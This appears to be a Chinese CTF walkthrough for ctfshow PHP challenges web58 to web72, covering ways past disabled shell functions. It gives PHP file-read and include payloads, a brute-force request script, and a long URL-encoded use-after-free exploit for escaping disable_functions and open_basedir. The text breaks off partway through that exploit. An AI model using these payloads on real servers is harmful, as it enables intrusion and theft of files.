#输出的直接就是已经取反后的结果 36 | |
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
# web58
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109222521232.png" alt="image-20250109222521232" style="zoom:67%;" />
看见直接是 eval
, 那直接传入 system("ls");
试试:
发现被禁用了,试试其他的:
system(); exec(); passthru(); shell_exec(); #都被禁用了 |
# 解法一:
而下面的读文件的函数没被禁用:
show_source(); | |
readfile(); #使用 readfile 读文件,显示在源码处) | |
highlight_file(); | |
readgzfile();#也可读文件,常用于绕过过滤,在源码处 | |
#使用方式都如:show_source ("flag.php"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224046344.png" alt="image-20250109224046344" style="zoom:67%;" />
# 解法二:
通过 include 绕过过滤:
c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224328357.png" alt="image-20250109224328357" style="zoom:80%;" />
base64 解码后得到 flag
# 解法三:
使用无参数读取:
c=var_dump(scandir(pos(localeconv())));#查看当前目录内容 | |
c=print_r(scandir(getcwd())); #查看当前目录内容 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224530266.png" alt="image-20250109224530266" style="zoom:80%;" />
发现是倒数第二个文件,,利用无参数函数读取:
c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个 | |
c=readfile(next(array_reverse(scandir(getcwd()))));#读倒数第二个,在源代码中显示 | |
c=show_source(next(array_reverse(scandir(pos(localeconv())))));#读倒数第二个 | |
c=show_source(array_rand(array_flip(scandir(getcwd())))); #array_rand (array_flip ()),array_flip () 是交换数组的键和值,array_rand () 是随机返回一个数组 多 post/get 几次就出来了【不用在意报错】 |
得到 flag:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224657157.png" alt="image-20250109224657157" style="zoom:67%;" />
# web59
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109225855882.png" alt="image-20250109225855882" style="zoom:67%;" />
随便试了几下,看起来 58 题的几个方法都还可以用:
c=show_source("flag.php"); |
# web60
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109230435285.png" alt="image-20250109230435285" style="zoom:67%;" />
发现好像 58 题的仍然都可以用:
c=show_source("flag.php"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109230533748.png" alt="image-20250109230533748" style="zoom:67%;" />
# web61
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109231043921.png" alt="image-20250109231043921" style="zoom:67%;" />
58 题的仍然可以用:
c=show_source(next(array_reverse(scandir(getcwd())))); |
# web62
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232445458.png" alt="image-20250109232445458" style="zoom:80%;" />
禁用了 highlight 函数,继续 58 题的方法:
c=show_source(next(array_reverse(scandir(getcwd())))); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232519506.png" alt="image-20250109232519506" style="zoom:80%;" />
# web63
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232746067.png" alt="image-20250109232746067" style="zoom:67%;" />
c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
base64 解码,获得 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232945947.png" alt="image-20250109232945947" style="zoom:67%;" />
# web64
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233142782.png" alt="image-20250109233142782" style="zoom:67%;" />
继续:
c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
base64 解码,获得 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233304945.png" alt="image-20250109233304945" style="zoom:67%;" />
# web65
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233618915.png" alt="image-20250109233618915" style="zoom:67%;" />
c=show_source(next(array_reverse(scandir(getcwd())))); |
# web66
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109234036949.png" alt="image-20250109234036949" style="zoom:67%;" />
无参函数 show_source()
被禁用了,但是 readgzfile();
还可以用
c=readgzfile("flag.php"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109234357909.png" alt="image-20250109234357909" style="zoom:67%;" />
找一下 flag 的位置:
- 先看当前目录:
c=print_r(scandir(getcwd())); |
这里的 flag.php 是假的
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110001120248.png" alt="image-20250110001120248" style="zoom:67%;" />
- 再查看上级目录:
c=print_r(scandir(dirname(getcwd()))); // 查看上一级目录的文件 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110001019613.png" alt="image-20250110001019613" style="zoom: 67%;" />
- 查看根目录【这里 serialize () 被禁用了,但是还是能读到根目录】:
#查看根目录文件 (需要一定的权限才能读): | |
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));#strrev (crypt (serialize (array ()))) 所获得的字符串第一位有几率是 `/`【要多试几次】 | |
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); # | |
#看了物品发现可以直接: | |
c=print_r(scandir("/")); | |
c=highlight_file('/flag.txt'); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110000705485.png" alt="image-20250110000705485" style="zoom:67%;" />
想办法访问第六个数组内容:
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));#随机访问,多试试 |
尝试花费太多时间,直接用脚本了:
import re | |
import urllib | |
from urllib import parse | |
import requests | |
#获取用户输入的 url | |
URL=input('url(是http,不是https):') | |
payload='if(chdir(chr(ord(strrev(crypt(serialize(array())))))))readgzfile(array_rand(array_flip(scandir(getcwd()))));' | |
print(payload) | |
p=urllib.parse.unquote(payload) | |
print(p) | |
# 发送 POST 请求到指定的 URL,数据中包含编码后的 payload | |
#urllib.parse.unquote () 对 payload 进行 URL 解码,编码的字符串会被解码成原始字符串,如将 %20 解码成空格【只对 url 编码的解码,已经是字符串的不变】 | |
#data 参数是一个字典,其中包含你要通过 POST 请求发送的数据。在这个例子中,字典的键是 'c',值是解码后的 payload | |
#这里的 c 就是 c=xxxxx;(post 或 gets 传入的参数变量) | |
response=requests.post(URL,data={'c':urllib.parse.unquote(payload)}) | |
#response=requests.get(URL,data={'c':urllib.parse.unquote(payload)}) | |
# 输出服务器的响应文本 | |
s=response.text | |
print(s) | |
while(1): | |
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}) | |
s = response.text | |
print(s) | |
if 'ctfshow{' in s: #`ctfshow {` 开头的才是 flag | |
break | |
#http://7e7a638b-1bd6-4bda-b7d8-0c4cf5783fe8.challenge.ctf.show/ |
很快就得到 flag:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110003807489.png" alt="image-20250110003807489" style="zoom:67%;" />
# web67
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110004857155.png" alt="image-20250110004857155" style="zoom:67%;" />
尝试读 flag:
c=readgzfile("flag.php"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110004941396.png" alt="image-20250110004941396" style="zoom:80%;" />
发现又不在,直接用 66 题脚本,发现 chr()
函数被禁了,查看根目录发现 print_r
也被禁了,用
c=var_dump(scandir("/")); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110005540244.png" alt="image-20250110005540244" style="zoom:67%;" />
根目录下有 flag,读取:
c=readgzfile("/flag.txt"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110005705829.png" alt="image-20250110005705829" style="zoom:67%;" />
# web68
题目可能出问题了,直接说 highlight_file()
没有给出代码....
直接用上一题的方法试试:
c=readgzfile("/flag.txt"); |
直接获得 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110012944365.png" alt="image-20250110012944365" style="zoom:67%;" />
# web69
题目又是这种出问题了,直接说 highlight_file()
禁用没有给出代码....
继续用上一题的试试
c=include('/flag.txt'); |
又成功得到 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110024841218.png" alt="image-20250110024841218" style="zoom:67%;" />
# web70
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110111605293.png" alt="image-20250110111605293" style="zoom:80%;" />
禁用了上面三个函数,继续上一题的 payload:
c=include('/flag.txt'); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110111715761.png" alt="image-20250110111715761" style="zoom:67%;" />
# web71
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111092911113.png" alt="image-20250111092911113" style="zoom:67%;" />
初看感觉和上一题一样,用上一题的 payload:
c=include('/flag.txt'); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111093034738.png" alt="image-20250111093034738" style="zoom:67%;" />
看起来是被通配符给替换了,猜测是屏蔽了回显内容
问下翻了一下题目才发现有源码....,查看一下:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111093751135.png" alt="image-20250111093751135" style="zoom:67%;" />
发现是将所有的输出内容为数字和字母替换为 ?
,本来想着让输出内容为特殊符号然后自行解码,不过不知道怎么搞,发现可以先 退出程序
或先 把缓冲区送出
:
#1. 劫持输出缓冲区之前就把缓冲区送出,可以用的函数有: | |
ob_flush(); | |
ob_end_flush(); | |
payload示例: | |
c=include('/flag.txt');ob_flush(); | |
#2. 提前终止程序,即执行完代码直接退出,可以调用的函数有: | |
exit(); | |
die(); | |
payload示例: | |
c=include('/flag.txt');exit(); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111102150640.png" alt="image-20250111102150640" style="zoom:67%;" />
# web72
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111103332000.png" alt="image-20250111103332000" style="zoom:67%;" />
和上一题一样,用上一题的 payload 试试:
#1. 劫持输出缓冲区之前就把缓冲区送出,可以用的函数有: | |
ob_flush(); | |
ob_end_flush(); | |
payload示例: | |
c=include('/flag.txt');ob_flush(); | |
#2. 提前终止程序,即执行完代码直接退出,可以调用的函数有: | |
exit(); | |
die(); | |
payload示例: | |
c=include('/flag.txt');exit(); |
这里发现 include()
失败了,查看一下 flag 的路径也不行,不能访问 /
,访问路径被限制了,只能允许访问的是 /var/www/html/。
也就是说,本题设置了 open_basedir,将 php 所能打开的文件限制在指定的目录树中,包括文件本身。因为 ini_set () 也被限制了,所以 open_basedir
不能用 ini_set
重新设置绕过。
# 【试错环节】
发现查看根目录没有权限,:
c=echo json_encode(scandir("/"));die(); |
查看当前目录:
c=var_export(scandir(pos(localeconv())));die();
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111104740254.png" alt="image-20250111104740254" style="zoom:67%;" />
读一下 flag.php
试试:
c=include('flag.php');ob_flush(); #不显示 | |
c=readgzfile('flag.php');ob_flush(); #查看源代码发现 flag 不在这 |
# 【正解】
-
查看根目录有那些文件
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111131131123.png" alt="image-20250111131131123" style="zoom:67%;" />
-
发现有 flag0.txt,使用绕过安全目录的脚本
c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%7